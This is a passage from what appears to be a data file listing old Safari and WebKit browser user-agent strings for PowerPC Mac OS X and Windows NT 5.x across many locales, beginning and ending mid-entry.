U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/ Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34 Mozilla/5.0 (Windows; U; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) 